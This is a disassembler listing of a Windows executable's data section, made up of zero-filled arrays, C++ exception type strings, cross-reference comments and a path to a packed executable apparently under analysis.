dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43D764 dd offset off_427D60 ; DATA XREF: ___:00427F3Co
; ___:00428028o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43D77C dd offset off_427D60 ; DATA XREF: ___:off_427DF0o
; ___:00427E30o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43D79C dd offset off_427D60 ; DATA XREF: ___:off_427E38o
; ___:00427E7Co ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43D7BC dd offset off_427D60 ; DATA XREF: ___:off_427E84o
; ___:00427EC8o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43D7E0 dd offset off_427D60 ; DATA XREF: ___:off_427ED0o
; ___:00427F0Co
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42470C
align 10h
dword_43D800 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
dword_43D808 dd 2 dup(0) ; DATA XREF: sub_40111D+62o
; ___:0040146Eo ...
dword_43D810 dd 0 ; DATA XREF: ___:004015B0o
; sub_401ACD+B08o ...
dd 5 dup(0)
dword_43D828 dd 0 ; DATA XREF: sub_401ACD+B64r
; sub_4150B5+60r
dd 2D9h dup(0)
dword_43E390 dd 0 ; DATA XREF: sub_401ACD+5E63r
; sub_401ACD+5F40r ...
dd 7Fh dup(0)
dword_43E590 dd 0 ; DATA XREF: sub_40B0F7+41w
; sub_40B232+40w ...
dword_43E594 dd 0 ; DATA XREF: sub_40B0F7+47w
; sub_40B232+46w ...
dword_43E598 dd 0 ; DATA XREF: sub_40B0F7+52w
; sub_40B232+3Ar ...
dword_43E59C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E5A0 dd 0 ; DATA XREF: sub_40B232+75r
; sub_40B413+2Aw ...
dword_43E5A4 dd 0 ; DATA XREF: ___:004015FFw
; ___:00401677w ...
byte_43E5A8 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5DA8r ...
align 4
dword_43E5AC dd 1C69h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433E54o
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:00438140o
dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438BACo
dword_457444 dd 17780h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438A18o
dd 5852h dup(0)
dword_4CB390 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B0F7+13o ...
dword_4CB394 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401ACD:loc_4044D8r ...
dword_4CB398 dd 0 ; DATA XREF: ___:loc_4016FFo
dword_4CB39C dd 20h dup(0) ; DATA XREF: ___:004016B6o
; ___:00401750o ...
dword_4CB41C dd 10h dup(0) ; DATA XREF: ___:004016CCo
dword_4CB45C dd 24h dup(0) ; DATA XREF: ___:004016E3o
dword_4CB4EC dd 0 ; DATA XREF: ___:004016D7w
; ___:00401767w ...
dword_4CB4F0 dd 0 ; DATA XREF: ___:004016F6w
align 10h
byte_4CB500 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB504 dd 0 ; DATA XREF: ___:00401704w
; ___:0040171Br ...
dword_4CB508 dd 0 ; DATA XREF: ___:004016BBw
; sub_401ACD+8BEr
dword_4CB50C dd 0 ; DATA XREF: sub_401ACD+7DC0o
; sub_40C9A5+13o ...
dword_4CB510 dd 0 ; DATA XREF: sub_409B13+4A7w
; sub_409B13+4EBr ...
dword_4CB514 dd 0 ; DATA XREF: sub_409B13+65w
; sub_4196BD+166r
dword_4CB518 dd 0 ; DATA XREF: sub_409B13+80Bw
; sub_409B13+880r ...
dword_4CB51C dd 0 ; DATA XREF: sub_409B13+9D8w
; sub_409B13+A43r ...
dword_4CB520 dd 0 ; DATA XREF: sub_409B13+98Aw
; sub_409B13+A13r ...
dword_4CB524 dd 0 ; DATA XREF: sub_409B13+48Dw
; sub_409B13+4DBr ...
dword_4CB528 dd 0 ; DATA XREF: sub_409B13+213w
; sub_409B13+234r
dword_4CB52C dd 0 ; DATA XREF: sub_409B13+9CBw
; sub_409B13+A3Br ...
dword_4CB530 dd 0 ; DATA XREF: sub_409B13+372w
; sub_409B13+3C7r ...
dword_4CB534 dd 0 ; DATA XREF: sub_409B13+40Fw
; sub_41AA43+11Er
dword_4CB538 dd 0 ; DATA XREF: sub_409B13+37Fw
; sub_409B13+3CFr ...
dword_4CB53C dd 0 ; DATA XREF: sub_409B13+3C0w
; sub_418C8F+ADr
dword_4CB540 dd 0 ; DATA XREF: sub_409B13+55Aw
; sub_40F0D6+115r ...
dword_4CB544 dd 0 ; DATA XREF: sub_409B13+72w
; sub_409B13+D2r ...
dword_4CB548 dd 0 ; DATA XREF: sub_409B13+97Dw
; sub_409B13+A06r ...
dword_4CB54C dd 0 ; DATA XREF: sub_409B13+3A6w
; sub_409B13+3E7r ...
dword_4CB550 dd 0 ; DATA XREF: sub_409B13+859w
; sub_409B13+8ACr ...
dword_4CB554 dd 0 ; DATA XREF: sub_409B13+2A5w
; sub_409B13+2F0r ...
dword_4CB558 dd 0 ; DATA XREF: sub_409B13+84Cw
; sub_409B13+8A4r ...
dword_4CB55C dd 0 ; DATA XREF: sub_409B13+B3w
dword_4CB560 dd 0 ; DATA XREF: sub_409B13+866w
; sub_409B13+8B4r ...
dword_4CB564 dd 0 ; DATA XREF: sub_409B13+54Dw
; sub_409B13+6D0r ...
dword_4CB568 dd 0 ; DATA XREF: sub_409B13+58w
; sub_409B13+CAr ...
dword_4CB56C dd 0 ; DATA XREF: sub_409B13+934w
dword_4CB570 dd 0 ; DATA XREF: sub_401ACD:loc_403F26r
; sub_409B13+A95w ...
dword_4CB574 dd 0 ; DATA XREF: sub_409B13+A6w
; sub_409B13+F2r
dword_4CB578 dd 0 ; DATA XREF: sub_409B13+480w
; sub_409B13+4D3r ...
dword_4CB57C dd 0 ; DATA XREF: sub_409B13+5F6w
; sub_40BFA4+20r
dword_4CB580 dd 0 ; DATA XREF: sub_409B13+9BEw
; sub_409B13+A33r
dword_4CB584 dd 0 ; DATA XREF: sub_409B13+5E9w
; sub_409B13+754r ...
dword_4CB588 dd 0 ; DATA XREF: sub_409B13+A0Cw
dword_4CB58C dd 0 ; DATA XREF: sub_409B13+B50w
dword_4CB590 dd 0 ; DATA XREF: sub_409B13+7FEw
; sub_409B13+86Dr ...
dword_4CB594 dd 0 ; DATA XREF: sub_409B13+1B3w
; sub_40B2F2+3Do ...
dword_4CB598 dd 0 ; DATA XREF: sub_409B13+997w
; sub_409B13+A1Br ...
dword_4CB59C dd 0 ; DATA XREF: sub_409B13+38Cw
; sub_409B13+3D7r ...
dword_4CB5A0 dd 0 ; DATA XREF: sub_409B13+399w
; sub_409B13+3DFr ...
dword_4CB5A4 dd 0 ; DATA XREF: sub_409B13+C85w
; sub_409B13+C8Cr ...
dword_4CB5A8 dd 0 ; DATA XREF: sub_409B13+6ACw
; ___:00410890r
dword_4CB5AC dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB5B0 dd 0 ; DATA XREF: sub_409B13+4B4w
; sub_4153BD+207r
dword_4CB5B4 dd 0 ; DATA XREF: sub_409B13+9E5w
; sub_409B13+A4Br ...
dword_4CB5B8 dd 0 ; DATA XREF: sub_401000+51r
; sub_409B13+2B2w ...
dword_4CB5BC dd 0 ; DATA XREF: sub_409B13+7Fw
; sub_409B13+DAr ...
dword_4CB5C0 dd 0 ; DATA XREF: sub_401ACD+5912r
; sub_401ACD+79CFr ...
dword_4CB5C4 dd 0 ; DATA XREF: ___:004012ADr
; sub_401ACD+5118r ...
dword_4CB5C8 dd 0 ; DATA XREF: sub_409B13+825w
; sub_409B13+890r ...
dword_4CB5CC dd 0 ; DATA XREF: sub_409B13+9A4w
; sub_409B13+A23r
dword_4CB5D0 dd 0 ; DATA XREF: sub_409B13+C0Ew
; sub_409B13+C3Fr
dword_4CB5D4 dd 0 ; DATA XREF: sub_409B13+2CCw
; sub_4184E2+47r
dword_4CB5D8 dd 0 ; DATA XREF: sub_409B13+22Dw
dword_4CB5DC dd 0 ; DATA XREF: sub_409B13+91Aw
; sub_409B13+92Er
dword_4CB5E0 dd 0 ; DATA XREF: sub_409B13+C28w
dword_4CB5E4 dd 0 ; DATA XREF: sub_409B13+2D9w
; sub_4184E2+4Fr
dword_4CB5E8 dd 0 ; DATA XREF: sub_409B13+574w
; sub_409B13+6E8r ...
dword_4CB5EC dd 0 ; DATA XREF: sub_409B13+83Fw
; sub_409B13+873r
dword_4CB5F0 dd 0 ; DATA XREF: sub_409B13+220w
; sub_409B13+23Cr
dword_4CB5F4 dd 0 ; DATA XREF: sub_409B13+172w
; sub_409B13+1C2r ...
dword_4CB5F8 dd 0 ; DATA XREF: sub_401ACD+1E31r
; sub_401ACD+5AC8r ...
dword_4CB5FC dd 0 ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+51A2r ...
dword_4CB600 dd 0 ; DATA XREF: sub_409B13+567w
; sub_409B13+6DCr ...
dword_4CB604 dd 0 ; DATA XREF: sub_409B13+8DBw
; sub_409B13:loc_40A40Cw ...
dword_4CB608 dd 0 ; DATA XREF: sub_401000+26r
; sub_409B13+28Bw ...
dword_4CB60C dd 0 ; DATA XREF: sub_401ACD+795Ar
; sub_409B13+69Fw ...
dword_4CB610 dd 0 ; DATA XREF: sub_409B13+32Dw
; sub_409B13+341r ...
dword_4CB614 dd 0 ; DATA XREF: sub_409B13+3B3w
; sub_409B13+3EFr ...
dword_4CB618 dd 0 ; DATA XREF: sub_409B13+C01w
; sub_409B13+C37r
dword_4CB61C dd 0 ; DATA XREF: sub_409B13+818w
; sub_409B13+888r ...
dword_4CB620 dd 0 ; DATA XREF: sub_409B13+206w
; sub_409B13+227r
dword_4CB624 dd 0 ; DATA XREF: sub_409B13+18Cw
; sub_409B13+1D2r ...
dword_4CB628 dd 0 ; DATA XREF: sub_409B13+832w
; sub_409B13+898r ...
dword_4CB62C dd 0 ; DATA XREF: sub_409B13+624w
; sub_409B13+774r
dword_4CB630 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_409B13+2BFw ...
dword_4CB634 dd 0 ; DATA XREF: sub_409B13+66Bw
; sub_409B13+79Cr ...
dword_4CB638 dd 0 ; DATA XREF: sub_409B13+320w
; sub_409B13+334r ...
dword_4CB63C dd 0 ; DATA XREF: sub_409B13+644w
; sub_409B13+784r ...
dword_4CB640 dd 0 ; DATA XREF: sub_409B13+44Cw
; sub_409B13+4AEr ...
dword_4CB644 dd 0 ; DATA XREF: sub_409B13+199w
; sub_409B13+1DAr ...
dword_4CB648 dd 0 ; DATA XREF: sub_409B13+365w
; sub_409B13+3BAr ...
dword_4CB64C dd 0 ; DATA XREF: sub_409B13+AA2w
dword_4CB650 dd 0 ; DATA XREF: sub_409B13+5DCw
; sub_409B13+748r ...
dword_4CB654 dd 0 ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5154r ...
dword_4CB658 dd 0 ; DATA XREF: sub_409B13+4Bw
; sub_409B13+C2r ...
dword_4CB65C dd 0 ; DATA XREF: sub_409B13+473w
; sub_409B13+4CBr ...
dword_4CB660 dd 0 ; DATA XREF: sub_409B13+165w
; sub_409B13+1BAr ...
dword_4CB664 dd 0 ; DATA XREF: sub_409B13+9FFw
; sub_409B13+A5Br ...
dword_4CB668 dd 0 ; DATA XREF: sub_409B13+685w
; sub_409B13+7ACr ...
dword_4CB66C dd 0 ; DATA XREF: sub_401955+D1r
; sub_401ACD+51B7r ...
dword_4CB670 dd 0 ; DATA XREF: sub_409B13+C1Bw
; sub_409B13+C47r
dword_4CB674 dd 0 ; DATA XREF: sub_409B13+3Ew
; sub_409B13+BAr ...
dword_4CB678 dd 0 ; DATA XREF: sub_401000+45r
; sub_409B13+298w ...
dword_4CB67C dd 0 ; DATA XREF: sub_409B13+651w
; sub_409B13+78Cr ...
dword_4CB680 dd 0 ; DATA XREF: sub_409B13+637w
; sub_409B13+77Cr ...
dword_4CB684 dd 0 ; DATA XREF: sub_401ACD+73BAr
; sub_409B13+C92w
dword_4CB688 dd 0 ; DATA XREF: sub_409B13+879w
; ___:004168D6r ...
dword_4CB68C dd 0 ; DATA XREF: sub_409B13+112w
dword_4CB690 dd 0 ; DATA XREF: sub_409B13+BE7w
; sub_409B13+C22r
dword_4CB694 dd 0 ; DATA XREF: sub_401ACD+2FE5r
; sub_401ACD+5F99r ...
dword_4CB698 dd 0 ; DATA XREF: sub_409B13+459w
; sub_409B13+4BBr ...
dword_4CB69C dd 0 ; DATA XREF: sub_409B13+49Aw
; sub_409B13+4E3r ...
dword_4CB6A0 dd 0 ; DATA XREF: sub_409B13+466w
; sub_409B13+4C3r ...
dword_4CB6A4 dd 0 ; DATA XREF: sub_401955+89r
; sub_401ACD+51D4r ...
dword_4CB6A8 dd 0 ; DATA XREF: sub_409B13+1A6w
; sub_409B13+1E2r ...
dword_4CB6AC dd 0 ; DATA XREF: sub_409B13+9F2w
; sub_409B13+A53r ...
dword_4CB6B0 dd 0 ; DATA XREF: sub_409B13+158w
; sub_409B13+1ADr ...
dword_4CB6B4 dd 0 ; DATA XREF: sub_409B13+8Cw
; sub_409B13+E2r ...
dword_4CB6B8 dd 0 ; DATA XREF: sub_409B13+610w
; sub_409B13+764r ...
dword_4CB6BC dd 0 ; DATA XREF: sub_409B13+B43w
; sub_409B13+B5Fr
dword_4CB6C0 dd 0 ; DATA XREF: sub_409B13+33Aw
; sub_419652+55r
dword_4CB6C4 dd 0 ; DATA XREF: sub_409B13+27Ew
; sub_409B13+2D3r ...
dword_4CB6C8 dd 0 ; DATA XREF: sub_409B13+BAAw
dword_4CB6CC dd 0 ; DATA XREF: sub_409B13+AECw
; sub_40AB32+CEr
dword_4CB6D0 dd 0 ; DATA XREF: sub_409B13+ADFw
; sub_409B13+AE6r ...
dword_4CB6D4 dd 0 ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5133r ...
dword_4CB6D8 dd 0 ; DATA XREF: sub_401ACD+5125r
; sub_401ACD+7981r ...
dword_4CB6DC dd 0 ; DATA XREF: sub_409B13+BF4w
; sub_409B13+C2Fr
dword_4CB6E0 dd 0 ; DATA XREF: sub_401ACD+1E57r
; sub_401ACD+5AEEr ...
dword_4CB6E4 dd 0 ; DATA XREF: sub_409B13+9B1w
; sub_409B13+A2Br ...
dword_4CB6E8 dd 0 ; DATA XREF: sub_409B13+65Ew
; sub_409B13+794r ...
dword_4CB6EC dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CB6F0 dd 0 ; DATA XREF: sub_409B13+59Bw
; sub_409B13+70Cr ...
dword_4CB6F4 dd 0 ; DATA XREF: sub_409B13+B36w
; sub_409B13+B57r
dword_4CB6F8 dd 0 ; DATA XREF: sub_409B13+540w
; sub_409B13+6C4r ...
dword_4CB6FC dd 0 ; DATA XREF: sub_409B13+B29w
; sub_409B13+B4Ar
dword_4CB700 dd 0 ; DATA XREF: ___:00401273r
; sub_409B13+31w ...
dword_4CB704 dd 0 ; DATA XREF: sub_409B13+17Fw
; sub_409B13+1CAr ...
dd 0
dword_4CB70C dd 0 ; DATA XREF: sub_409B13+927w
; sub_409B13+93Br
dword_4CB710 dd 0 ; DATA XREF: sub_409B13+99w
; sub_409B13+EAr ...
dword_4CB714 dd 0 ; DATA XREF: sub_409B13:loc_409C11w
; sub_409B13+12Bw ...
dword_4CB718 dd 0 ; DATA XREF: sub_409B13+126w
; sub_40A7CF+1Cr
dword_4CB71C dd 0 ; DATA XREF: sub_409B13:loc_409D01w
; sub_409B13:loc_409D68w ...
dword_4CB720 dd 0 ; DATA XREF: sub_409B13+250w
; sub_40A7CF+50r
dword_4CB724 dd 0 ; DATA XREF: ___:0040156Ar
; sub_401ACD+4568r ...
dword_4CB728 dd 0 ; DATA XREF: sub_409B13+41Ew
; sub_40A7CF+84r
dword_4CB72C dd 0 ; DATA XREF: sub_409B13:loc_40A017w
; sub_40A7CF:loc_40A87Fr
dword_4CB730 dd 0 ; DATA XREF: sub_409B13+4FFw
; sub_40A7CF+B8r
dword_4CB734 dd 0 ; DATA XREF: sub_409B13:loc_40A2E8w
; sub_40A7CF:loc_40A8B3r
dword_4CB738 dd 0 ; DATA XREF: sub_409B13+7D0w
; sub_40A7CF+ECr
dword_4CB73C dd 0 ; DATA XREF: sub_409B13:loc_40A3D3w
; sub_409B13+8EFw ...
dword_4CB740 dd 0 ; DATA XREF: sub_409B13+8EAw
; sub_40A7CF+120r
dword_4CB744 dd 0 ; DATA XREF: sub_401ACD:loc_406F18r
; sub_409B13:loc_40A467w ...
dword_4CB748 dd 0 ; DATA XREF: sub_409B13+94Fw
; sub_40A7CF+154r
dword_4CB74C dd 0 ; DATA XREF: sub_401ACD+4570r
; sub_409B13:loc_40A583w ...
dword_4CB750 dd 0 ; DATA XREF: sub_409B13+A6Bw
; sub_40A7CF+188r
dword_4CB754 dd 0 ; DATA XREF: sub_409B13:loc_40A5CDw
; sub_40A7CF:loc_40A983r
dword_4CB758 dd 0 ; DATA XREF: sub_409B13+AB5w
; sub_40A7CF+1BCr
dword_4CB75C dd 0 ; DATA XREF: sub_409B13:loc_40A617w
; sub_40A7CF:loc_40A9B7r
dword_4CB760 dd 0 ; DATA XREF: sub_409B13+AFFw
; sub_40A7CF+1F0r
dword_4CB764 dd 0 ; DATA XREF: sub_409B13:loc_40A68Bw
; sub_40A7CF:loc_40A9EBr
dword_4CB768 dd 0 ; DATA XREF: sub_409B13+B73w
; sub_40A7CF+224r
dword_4CB76C dd 0 ; DATA XREF: sub_409B13:loc_40A6D5w
; sub_40A7CF:loc_40AA1Fr
dword_4CB770 dd 0 ; DATA XREF: sub_409B13+BBDw
; sub_40A7CF+258r
dword_4CB774 dd 0 ; DATA XREF: sub_409B13:loc_40A773w
; sub_40A7CF:loc_40AA53r
dword_4CB778 dd 0 ; DATA XREF: sub_409B13+C5Bw
; sub_40A7CF+28Cr
dword_4CB77C dd 0 ; DATA XREF: sub_409B13:loc_40A7BDw
; sub_40A7CF:loc_40AA87r
dword_4CB780 dd 0 ; DATA XREF: sub_409B13+CA5w
; sub_40A7CF+2C0r
dword_4CB784 dd 7 dup(0) ; DATA XREF: sub_40AC10+32o
dword_4CB7A0 dd 0 ; DATA XREF: sub_40BA57+18r
; sub_40BFEC+92w ...
dword_4CB7A4 dd 0 ; DATA XREF: sub_40C125+4Dr
; sub_40C125+2F1w ...
dd 7FEh dup(0)
dword_4CD7A0 dd 6 dup(0) ; DATA XREF: sub_40C125+D2o
; sub_40C125+13Bo ...
dword_4CD7B8 dd 0 ; DATA XREF: sub_40BACE+2C4w
; sub_40BACE+348o
dword_4CD7BC dd 0 ; DATA XREF: sub_40BACE+33Ew
; sub_40BACE+35Ar
dword_4CD7C0 dd 0 ; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4 dd 0 ; DATA XREF: sub_40BACE+2B9w
; sub_40BACE:loc_40BDE3r
dword_4CD7C8 dd 20h dup(0) ; DATA XREF: sub_40BACE+2E2o
; sub_40BACE+302o
dword_4CD848 dd 0 ; DATA XREF: sub_40BACE+2D5w
dword_4CD84C dd 0 ; DATA XREF: sub_40BACE+2EFw
; sub_40BACE+30Fw
dword_4CD850 dd 0 ; DATA XREF: sub_40BACE:loc_40BE3Er
align 8
dword_4CD858 dd 0 ; DATA XREF: sub_40BACE+82w
; sub_40BACE+101o
dword_4CD85C dd 41h dup(0) ; DATA XREF: sub_40BACE+41o
dword_4CD960 dd 41h dup(0) ; DATA XREF: sub_40BACE+69o
dword_4CDA64 dd 0 ; DATA XREF: sub_40BACE+F7w
; sub_40BACE+113r
dword_4CDA68 dd 0 ; DATA XREF: sub_40BACE+52w
dword_4CDA6C dd 0 ; DATA XREF: sub_40BACE+4Dw
; sub_40BACE+D4r
dword_4CDA70 dd 20h dup(0) ; DATA XREF: sub_40BACE+9Ao
; sub_40BACE+BAo
dword_4CDAF0 dd 0 ; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4 dd 0 ; DATA XREF: sub_40BACE+A7w
; sub_40BACE+C7w
dword_4CDAF8 dd 0 ; DATA XREF: sub_40BACE:loc_40BBF7r
align 10h
dword_4CDB00 dd 0 ; DATA XREF: sub_40BACE+1A5w
; sub_40BACE+225o
dword_4CDB04 dd 41h dup(0) ; DATA XREF: sub_40BACE+167o
dword_4CDC08 dd 41h dup(0) ; DATA XREF: sub_40BACE+18Co
dword_4CDD0C dd 0 ; DATA XREF: sub_40BACE+21Bw
; sub_40BACE+237r
dword_4CDD10 dd 0 ; DATA XREF: sub_40BACE+17Aw
dword_4CDD14 dd 0 ; DATA XREF: sub_40BACE+175w
; sub_40BACE+1F8r
dword_4CDD18 dd 20h dup(0) ; DATA XREF: sub_40BACE+1BEo
; sub_40BACE+1DEo
dword_4CDD98 dd 0 ; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C dd 0 ; DATA XREF: sub_40BACE+1CBw
; sub_40BACE+1EBw
dword_4CDDA0 dd 0 ; DATA XREF: sub_40BACE:loc_40BD1Br
align 8
dword_4CDDA8 dd 0 ; DATA XREF: sub_40BACE+417w
; sub_40BACE+470o
dword_4CDDAC dd 0A2h dup(0) ; DATA XREF: sub_40BACE+405o
dword_4CE034 dd 41h dup(0) ; DATA XREF: sub_40BACE+3CFo
dword_4CE138 dd 0 ; DATA XREF: sub_40BACE+3FCw
; sub_40BACE+423r
align 10h
dword_4CE140 dd 0 ; DATA XREF: sub_40BACE+466w
; sub_40BACE+482r
dword_4CE144 dd 0 ; DATA XREF: sub_40BACE+429w
dword_4CE148 dd 0 ; DATA XREF: sub_40BACE+436w
dword_4CE14C dd 0 ; DATA XREF: sub_40BACE+3F6w
dd 0
dword_4CE154 dd 0 ; DATA XREF: sub_40BACE:loc_40BF66r
dd 0
dword_4CE15C dd 0 ; DATA XREF: sub_40B71A+Er
; sub_40B71A+32r
dword_4CE160 dd 0 ; DATA XREF: sub_40B71A+9r
; sub_40B71A+26r
dword_4CE164 dd 82h dup(0) ; DATA XREF: sub_40C59C+8Do
dword_4CE36C dd 2 dup(0) ; DATA XREF: sub_40CF05+68o
dword_4CE374 dd 0 ; DATA XREF: sub_40D8A0+8w
; ___:0040DC6Fo
dd 0
dword_4CE37C dd 2 dup(0) ; DATA XREF: ___:0040DBA5o
dword_4CE384 dd 0 ; DATA XREF: ___:0040E4D8r
dd 0
dd 0
dword_4CE390 dd 0 ; DATA XREF: ___:0040E4ABr
dword_4CE394 dd 0 ; DATA XREF: ___:0040E48Dr
; ___:0040E4F6r
dd 0
dword_4CE39C dd 0 ; DATA XREF: sub_40BACE+2AEr
dd 0
dword_4CE3A4 dd 0 ; DATA XREF: sub_40B786+1Cr
dword_4CE3A8 dd 0 ; DATA XREF: ___:0040EFE9w
; ___:0040F010r ...
dd 3 dup(0)
dword_4CE3B8 dd 0 ; DATA XREF: ___:00410906r
align 10h
dword_4CE3C0 dd 0 ; DATA XREF: sub_412352+4w
; sub_412352+9o
dd 109h dup(0)
dword_4CE7E8 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Fo
; sub_401ACD:loc_404AC5o
dword_4CEE08 dd 0 ; DATA XREF: sub_401ACD+1A24w
; sub_401ACD+2F67r ...
dd 11Ch dup(0)
dword_4CF27C dd 1000h dup(0) ; DATA XREF: sub_4151AD+1Do
; sub_41524Do
dword_4D327C dd 0 ; DATA XREF: sub_4151AD+13o
; sub_41524D+Eo ...
dword_4D3280 dd 0 ; DATA XREF: sub_4155F8+Fr
; sub_4157F1+12r
align 8
dword_4D3288 dd 0Eh dup(0) ; DATA XREF: sub_416923+Fo
dword_4D32C0 dd 80h dup(0) ; DATA XREF: sub_4175EA+41o
dword_4D34C0 dd 200h dup(0) ; DATA XREF: sub_416F1B+C7o
; sub_417276+DDo ...
dword_4D3CC0 dd 124h dup(0) ; DATA XREF: sub_416F1B+D6o
; sub_417276+F4o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_437F28o
dd 0DBh dup(0)
dword_4D44C0 dd 0 ; DATA XREF: sub_416F1B+86w
; sub_4170ED+94r
dword_4D44C4 dd 0 ; DATA XREF: sub_416F1B+A7w
; sub_417553+55r ...
dword_4D44C8 dd 0 ; DATA XREF: sub_416F1B+A0w
; sub_4170ED+D6r ...
dword_4D44CC dd 0 ; DATA XREF: sub_416F1B+79w
; sub_4170ED+35r ...
dword_4D44D0 dd 80h dup(0) ; DATA XREF: sub_417553+5Eo
dword_4D46D0 dd 0 ; DATA XREF: sub_416F1B+93w
; sub_4170ED+A2r
align 8
dword_4D46D8 dd 0 ; DATA XREF: sub_416F1B+E7o
; sub_416F1B+103r ...
dword_4D46DC dd 0 ; DATA XREF: sub_417276+17Bw
; sub_41741D+107w
dword_4D46E0 dd 0 ; DATA XREF: sub_417276+180w
; sub_41741D+10Dw ...
dword_4D46E4 dd 0 ; DATA XREF: sub_417276+159w
; sub_417553+4Fr
dword_4D46E8 dd 0 ; DATA XREF: sub_4178BB+22w
; sub_4178BB:loc_417A40w ...
dword_4D46EC dd 0 ; DATA XREF: sub_401ACD+3CC4o
; sub_417789+12o ...
dd 0
dword_4D46F4 dd 0 ; DATA XREF: sub_4178BB+1Cr
; sub_417A60+3Ar
dd 7Fh dup(0)
dword_4D48F4 dd 0 ; DATA XREF: sub_4178BB+28r
; sub_417A60+4Aw
dd 1944h dup(0)
dword_4DAE08 dd 0 ; DATA XREF: sub_417A60+23o
dword_4DAE0C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE2o
; sub_417789+3Co ...
dword_4DB010 dd 17h dup(0) ; DATA XREF: sub_4187DE:loc_4188FBo
; sub_4187DE+131o ...
dword_4DB06C dd 80h dup(0) ; DATA XREF: sub_419594+7Co
; sub_419594+A5o
dword_4DB26C dd 0 ; DATA XREF: sub_418B59+45w
; sub_418B59+4Dr ...
dword_4DB270 dd 17h dup(0) ; DATA XREF: sub_419460:loc_419582o
; sub_419460+12Do
dword_4DB2CC dd 80h dup(0) ; DATA XREF: sub_418A99+4Co
; sub_418A99+7Eo ...
byte_4DB4CC db 0 ; DATA XREF: sub_418B59+29r
; sub_418B59+34w
align 10h
dword_4DB4D0 dd 80h dup(0) ; DATA XREF: sub_418DB0+61o
; sub_418DB0+89o ...
dword_4DB6D0 dd 81h dup(0) ; DATA XREF: sub_4186C2:loc_4186FAo
; sub_4186C2+5Bo
dword_4DB8D4 dd 0 ; DATA XREF: sub_419A21:loc_419A42r
; sub_419B10+54r ...
dword_4DB8D8 dd 0 ; DATA XREF: sub_419A21r
; sub_419B10+37r ...
dword_4DB8DC dd 0 ; DATA XREF: sub_419A51+1Ar
; sub_419C65+83o
dword_4DB8E0 dd 0 ; DATA XREF: sub_419A21:loc_419A35r
; sub_419C65+11Bw
dword_4DB8E4 dd 0Dh dup(0) ; DATA XREF: sub_419B10+13o
; sub_419C65:loc_419DA2o
dword_4DB918 dd 0 ; DATA XREF: sub_419B10+CDr
; sub_419B10+ECr ...
align 10h
dword_4DB920 dd 0Eh dup(0) ; DATA XREF: sub_41A88C+47o
dword_4DB958 dd 0 ; DATA XREF: sub_41BBBD+1B9w
; ___:loc_41D268w ...
dword_4DB95C dd 0 ; DATA XREF: sub_41D3BE+35w
; sub_41DA72:loc_41DB0Cw ...
dword_4DB960 dd 0 ; DATA XREF: sub_423A33+13Ar
dd 0A28h, 501h, 5, 1
dword_4DB974 dd 1 ; DATA XREF: ___:loc_401516r
; ___:00423014w
dword_4DB978 dd 2430B30h ; DATA XREF: ___:0040151Fr
; ___:0040153Fr ...
align 10h
dword_4DB980 dd 2430B58h ; DATA XREF: ___:00422F0Ew
; sub_425AC7+9r ...
dword_4DB984 dd 0 ; DATA XREF: sub_4261AB+36r
dword_4DB988 dd 0 ; DATA XREF: sub_425AC7+16r
; sub_425E95+4r ...
align 10h
off_4DB990 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4DB998 db 0 ; DATA XREF: sub_41B7D3+2Dw
; sub_4239DB+5r
align 4
dword_4DB99C dd 0 ; DATA XREF: sub_41B7D3+27w
dword_4DB9A0 dd 0 ; DATA XREF: sub_41B7D3+4r
; sub_41B7D3+8Bw
dword_4DB9A4 dd 0 ; DATA XREF: sub_41C0F4+3Br
; sub_41C0F4+91w
dd 0
dword_4DB9AC dd 0 ; DATA XREF: sub_41C748+Aw
dword_4DB9B0 dd 0 ; DATA XREF: sub_41D081+5Er
; sub_41D081+A4w
align 8
word_4DB9B8 dw 0 ; DATA XREF: sub_41D081+55r
; sub_41D081+9Ao
word_4DB9BA dw 0 ; DATA XREF: sub_41D081+48r
db 2 dup(0)
